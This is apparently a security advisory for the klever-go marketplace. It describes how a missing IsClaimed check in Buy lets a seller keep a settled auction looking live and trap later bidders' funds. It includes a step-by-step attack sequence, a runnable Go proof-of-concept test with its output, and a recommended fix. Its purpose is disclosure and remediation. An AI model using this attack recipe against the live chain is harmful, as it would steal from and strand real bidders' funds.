GHSA-26r5-4mm2-px5c

Location: core/kapp/market/market.go — Buy() (approx. L281–436)
Severity: High

The native marketplace enforces an IsClaimed guard in Claim (market.go:752), CancelOrder (market.go:1125), and orderEscrowAmount (market.go:251), but not in Buy.

Marketplace escrow is virtual: the market KApp account never custodies currency. A bid burns funds from the bidder (bidderAcc.SubFromBalance, ~L378), and refunds/payouts mint to the recipient (AddToBalance, e.g. the prior-bidder refund at ~L349). Soundness depends on each order's CurrentBid being paid out exactly once.

A seller can settle a resting-bid auction early via the seller-accept branch of Claim (~L776) → executeBuyMarket (~L656). That path sets IsClaimed=true, delivers the NFT, pays the seller, and re-saves the order (SetMarketOrder, ~L726) — but, unlike every other settle path, it does not reset EndTime (contrast immediate-buy Buy ~L416 and CancelOrder ~L1206), and no code path deletes the order. The result is a "zombie" order: already settled, yet still loadable with EndTime in the future and a stale CurrentBidder.

Because Buy has no IsClaimed guard, a new bidder can still Buy on that settled order (the bid guard at ~L317 only forces the new amount Y > CurrentBid X). The new bidder is debited Y; the prior bidder is refunded X (funded by the new bidder, not minted); the new bidder becomes CurrentBidder on an IsClaimed order and can then neither Claim (reverts on IsClaimed) nor CancelOrder (reverts on IsClaimed). Their funds are lost permanently.

Attack sequence (permissionless , anyone can create a sell order):

1. Attacker (seller S) creates a resting-bid auction (Price=0, ReservePrice>0) for an NFT and self-bids X as bidder A (Sybil).
2. S accepts A's bid early via Claim → NFT goes to A (= attacker, keeps it), S (= attacker) collects the owner payout, order marked IsClaimed=true but left "live".
3. Victim B bids Y > X on the still-live-looking auction via Buy. Buy refunds prior bidder A the amount X (AddToBalance, L349) and burns Y from B (SubFromBalance, L378).
4. B is now CurrentBidder on a claimed order and can neither Claim nor CancelOrder — both revert on IsClaimed. B's Y is unrecoverable; X of it was siphoned to A; Y−X is destroyed.

POC

package market

import (
	"testing"

	"github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/core/kapp"
	"github.com/klever-io/klever-go/core/process/kda/kdautils"
	"github.com/klever-io/klever-go/data/block"
	"github.com/klever-io/klever-go/data/state"
	"github.com/klever-io/klever-go/data/transaction"
	"github.com/klever-io/klever-go/kapps"
	"github.com/klever-io/klever-go/kvm/mock/stub"
	"github.com/stretchr/testify/require"
)

// TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy proves the fund-loss / theft
// vulnerability caused by `Buy` lacking the `IsClaimed` guard that `Claim`
// (market.go L752) and `CancelOrder` (market.go L1125) both enforce.
//
// Attack (attacker A == seller S, victim B):
//  1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST).
//  2. A places a resting bid X >= R via Buy (records CurrentBid/CurrentBidder,
//     no settlement because Price==0).
//  3. S accepts the resting bid early via Claim's seller-accept branch (L776),
//     which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A,
//     proceeds paid to S(=A). This settle path is the ONLY one that does NOT
//     reset EndTime and does NOT delete the order -> the order becomes a live
//     "zombie" (IsClaimed=true, EndTime in the future, still loadable).
//  4. Victim B calls Buy on the zombie order with Y > X. Buy has no IsClaimed
//     guard, so it SUCCEEDS: B is debited Y, prior bidder A is "refunded" X
//     (funded by B), and B becomes CurrentBidder on an already-claimed order.
//  5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on
//     IsClaimed). B's Y is unrecoverable; X of it is siphoned to A.
//
// HARM proven: B ends down Y with no NFT and no recovery path; A ends up X.
func TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy(t *testing.T) {
	const (
		blockTime   = int64(1000)
		endTime     = int64(1_001_000) // future relative to blockTime
		reserve     = int64(1_000_000) // R
		bidX        = int64(1_000_000) // A's resting bid (== reserve, >= reserve required)
		bidY        = int64(2_000_000) // B's bid on the zombie order (must be > X)
		fundAttacker = int64(10_000_000)
		fundVictim   = int64(10_000_000)
	)

	klv := kdautils.KLVIdentifier
	collectionID := []byte("ZOMBIE-COLL")
	assetID := []byte("1")
	marketplaceID := []byte("mp-zombie")
	orderID := []byte("order-zombie")

	attacker := defaultAddr  // A == S (seller and first bidder)
	victim := defaultOther   // B

	marketKApp, accCacher, forkController := createTestMarketKApp(t)
	// Post-fork behaviour (guards on royalty overflow enabled); does not touch
	// the missing-IsClaimed-guard path being tested.
	forkController.FixMarketBuyOverflowValue = true

	// --- Fund the two user accounts (Buy debits real balances) ---
	attackerAcc, err := accCacher.LoadUser(attacker)
	require.NoError(t, err)
	require.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false))
	require.NoError(t, accCacher.UpdateUser(attackerAcc))

	victimAcc, err := accCacher.LoadUser(victim)
	require.NoError(t, err)
	require.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false))
	require.NoError(t, accCacher.UpdateUser(victimAcc))

	// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order ---
	marketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress)
	require.NoError(t, err)

	require.NoError(t, marketKApp.SetMarketplace(marketKappAcc, &kapps.Marketplace{
		ID:                 marketplaceID,
		OwnerAddress:       attacker,
		Name:               []byte("Zombie Market"),
		ReferralAddress:    attacker,
		ReferralPercentage: 0, // keep accounting clean
	}))
	// The NFT is escrowed in the market KApp (as if seller deposited it via Sell).
	require.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte("nft-data")))

	// Auction with Price=0, ReservePrice=R -> bids REST (see Buy L330-337 and
	// Sell L1003-1014: Auction has no Price>0 requirement).
	order := &kapps.MarketOrderData{
		ID:                 orderID,
		MarketplaceID:      marketplaceID,
		MarketType:         kapps.MarketOrderData_Auction,
		OwnerAddress:       attacker,
		CollectionID:       collectionID,
		AssetID:            assetID,
		CurrencyID:         klv,
		Price:              0,       // <-- makes bids rest instead of auto-settle
		ReservePrice:       reserve, // R
		ReferralPercentage: 0,
		StartTime:          blockTime,
		EndTime:            endTime, // future
		IsClaimed:          false,
	}
	require.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order))
	require.NoError(t, accCacher.UpdateKapp(marketKappAcc))

	// --- Shared KApp context / controller wiring for all handler calls ---
	receiptsStub := mock.NewReceiptsContextStub()
	ctx := &mock.KAppContextStub{
		ContractIDCalled: func() int { return 0 },
		ReceiptsCalled:   func() kapp.ReceiptsContext { return receiptsStub },
		BlockCalled: func() *block.Block {
			return &block.Block{Header: &block.BlockHeader{Timestamp: blockTime}}
		},
		TxNonceCalled: func() uint64 { return 1 },
	}
	// Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner.
	asset := &kapps.KDAData{
		OwnerAddress: attacker,
		Royalties: &kapps.RoyaltiesData{
			Address:          attacker,
			MarketPercentage: 0,
			SplitRoyalties:   make(map[string]*kapps.RoyaltySplitData),
		},
	}
	controllerStub := &stub.KAppControllerStub{
		GetCurrentKAppContextCalled: func() kapp.KappContext { return ctx },
		GetKDAKAppCalled: func() kapp.KDAKapp {
			return &stub.KDAKappStub{
				GetKDACalled: func(_ []byte) (state.KAppAccountHandler, *kapps.KDAData, error) {
					return nil, asset, nil
				},
			}
		},
	}
	require.NoError(t, marketKApp.SetKAppController(controllerStub))

	balance := func(addr []byte) int64 {
		a, e := accCacher.LoadUser(addr)
		require.NoError(t, e)
		return a.GetBalance(klv, false)
	}

	// ============================================================
	// STEP 1: A places a RESTING bid X via the real Buy handler.
	// ============================================================
	status, err := marketKApp.Buy(attacker, &transaction.BuyContract{
		ID:         orderID,
		CurrencyID: klv,
		Amount:     bidX,
	})
	require.NoError(t, err, "resting bid should succeed")
	require.Equal(t, transaction.Transaction_Ok, status)

	_, restedOrder, err := marketKApp.GetMarketOrder(orderID)
	require.NoError(t, err)
	require.Equal(t, bidX, restedOrder.CurrentBid, "bid must REST (record CurrentBid), not settle")
	require.Equal(t, attacker, restedOrder.CurrentBidder)
	require.False(t, restedOrder.IsClaimed, "resting bid must not settle the order")
	require.Equal(t, fundAttacker-bidX, balance(attacker), "A debited X on the resting bid")

	// ============================================================
	// STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept
	//         branch). This settles the order but leaves EndTime in the future
	//         and does NOT delete the order -> zombie order.
	// ============================================================
	status, err = marketKApp.Claim(attacker, &transaction.ClaimContract{ID: orderID})
	require.NoError(t, err, "early seller-accept claim should succeed")
	require.Equal(t, transaction.Transaction_Ok, status)

	_, settledOrder, err := marketKApp.GetMarketOrder(orderID)
	require.NoError(t, err, "order must remain LOADABLE after early claim (not deleted)")
	require.True(t, settledOrder.IsClaimed, "order is now claimed/settled")
	require.GreaterOrEqual(t, settledOrder.EndTime, blockTime,
		"BUG: early-claim settle path leaves EndTime in the future (order looks live)")
	require.Equal(t, endTime, settledOrder.EndTime, "EndTime was NOT reset by the settle path")

	// A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle.
	require.Equal(t, fundAttacker, balance(attacker), "A recovered X as owner payout on settle")

	// ============================================================
	// STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y>X.
	//         Buy has NO IsClaimed guard -> this SUCCEEDS (the vulnerability).
	// ============================================================
	status, err = marketKApp.Buy(victim, &transaction.BuyContract{
		ID:         orderID,
		CurrencyID: klv,
		Amount:     bidY,
	})
	require.NoError(t, err, "BUG: Buy accepts a bid on an already-claimed (settled) order")
	require.Equal(t, transaction.Transaction_Ok, status,
		"BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)")

	require.Equal(t, fundVictim-bidY, balance(victim), "B debited Y")
	require.Equal(t, fundAttacker+bidX, balance(attacker),
		"A received a PHANTOM refund of X (funded by B) on the zombie order")

	_, zombieOrder, err := marketKApp.GetMarketOrder(orderID)
	require.NoError(t, err)
	require.Equal(t, victim, zombieOrder.CurrentBidder, "B is now CurrentBidder on a claimed order")
	require.Equal(t, bidY, zombieOrder.CurrentBid)
	require.True(t, zombieOrder.IsClaimed, "order is STILL claimed - B is stuck")

	// ============================================================
	// HARM ASSERTION (a): B cannot Claim -> reverts on IsClaimed (market.go L752).
	// ============================================================
	status, err = marketKApp.Claim(victim, &transaction.ClaimContract{ID: orderID})
	require.Error(t, err, "HARM: B's Claim must revert (order already claimed)")
	require.Equal(t, transaction.Transaction_ParameterInvalid, status,
		"HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund")

	// ============================================================
	// HARM ASSERTION (b): B cannot CancelOrder -> reverts on IsClaimed (market.go L1125).
	// ============================================================
	status, err = marketKApp.CancelOrder(victim, &transaction.CancelMarketOrderContract{OrderID: orderID})
	require.Error(t, err, "HARM: B's CancelOrder must revert (order already claimed)")
	require.Equal(t, transaction.Transaction_ParameterInvalid, status,
		"HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds")

	// ============================================================
	// HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT
	//         and no recovery path; A is permanently up X.
	// ============================================================
	require.Equal(t, fundVictim-bidY, balance(victim),
		"HARM: B is down Y (%d) with no NFT and no recoverable path", bidY)
	require.Equal(t, fundAttacker+bidX, balance(attacker),
		"HARM: A is up X (%d), siphoned from B", bidX)

	// Confirm B never received the NFT (it was delivered to A at settle time).
	victimFinal, err := accCacher.LoadUser(victim)
	require.NoError(t, err)
	_, nftErr := victimFinal.SubInternalKDA(collectionID, assetID)
	require.Error(t, nftErr, "HARM: B holds no NFT for the funds it lost")

	t.Logf("PROVEN: B lost %d KLV (balance %d -> %d), unrecoverable. A gained %d KLV (balance %d -> %d). "+
		"Y-X = %d KLV destroyed/stranded.",
		bidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX)
}

Executable Go test: core/kapp/market/poc_zombie_order_test.go — TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy

Run:

cd klever-go
GOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy -v

(Local Go 1.23.1 auto-fetches toolchain 1.25.7 per go.mod. Full market package suite passes no regressions.)

Output:

PROVEN: B lost 2000000 KLV (balance 10000000 -> 8000000), unrecoverable.
        A gained 1000000 KLV (balance 10000000 -> 11000000). Y-X = 1000000 KLV destroyed/stranded.
--- PASS: TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy (0.00s)
PASS

Assertions proven (all using real market functions, harm-level not mechanism-level):

• Resting bid: Price=0 auction → bid rests (CurrentBid=X, IsClaimed=false), no auto-settle.
• Early seller-accept Claim → IsClaimed=true, EndTime still in the future, order still loadable (the zombie).
• Victim Buy on the claimed order returns Transaction_Ok (the vulnerability no IsClaimed guard).
• Harm (a): victim's Claim reverts Transaction_ParameterInvalid.
• Harm (b): victim's CancelOrder reverts Transaction_ParameterInvalid.
• Harm (c): victim −Y, attacker +X, victim holds no NFT and has no recovery path.

Impact

• Direct, permanent fund loss for any bidder who bids on an already-settled order. The victim's entire bid Y is burned with nothing received and no recovery path (Claim and CancelOrder both revert on IsClaimed).
• Theft: the attacker (seller, also acting as prior bidder A via Sybil) keeps the NFT and harvests ≈X from each subsequent bidder. Repeatable across many bait orders.
• Value destruction: Y−X per victim is burned (supply strictly decreases this is theft/fund-loss, not net inflation).
• No privileged role required , anyone can create a marketplace sell order.
• Real-world likelihood is Medium: the victim must bid on a settled order that, on-chain, still reads EndTime-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable).

Impact High × Likelihood Medium -> High.

Recommendation

Add an IsClaimed guard at the top of Buy, mirroring Claim (market.go:752) and CancelOrder (market.go:1125):

if marketOrder.IsClaimed {
    return transaction.Transaction_ParameterInvalid, ErrMarketOrderAlreadyClaimed
}

Defense-in-depth (optional but recommended): in executeBuyMarket, reset EndTime/CurrentBid/CurrentBidder (or delete the order) on early settlement so a settled order is no longer indistinguishable from a live one. Gate any consensus-visible behavior change behind an epoch fork flag so historical blocks reprocess identically.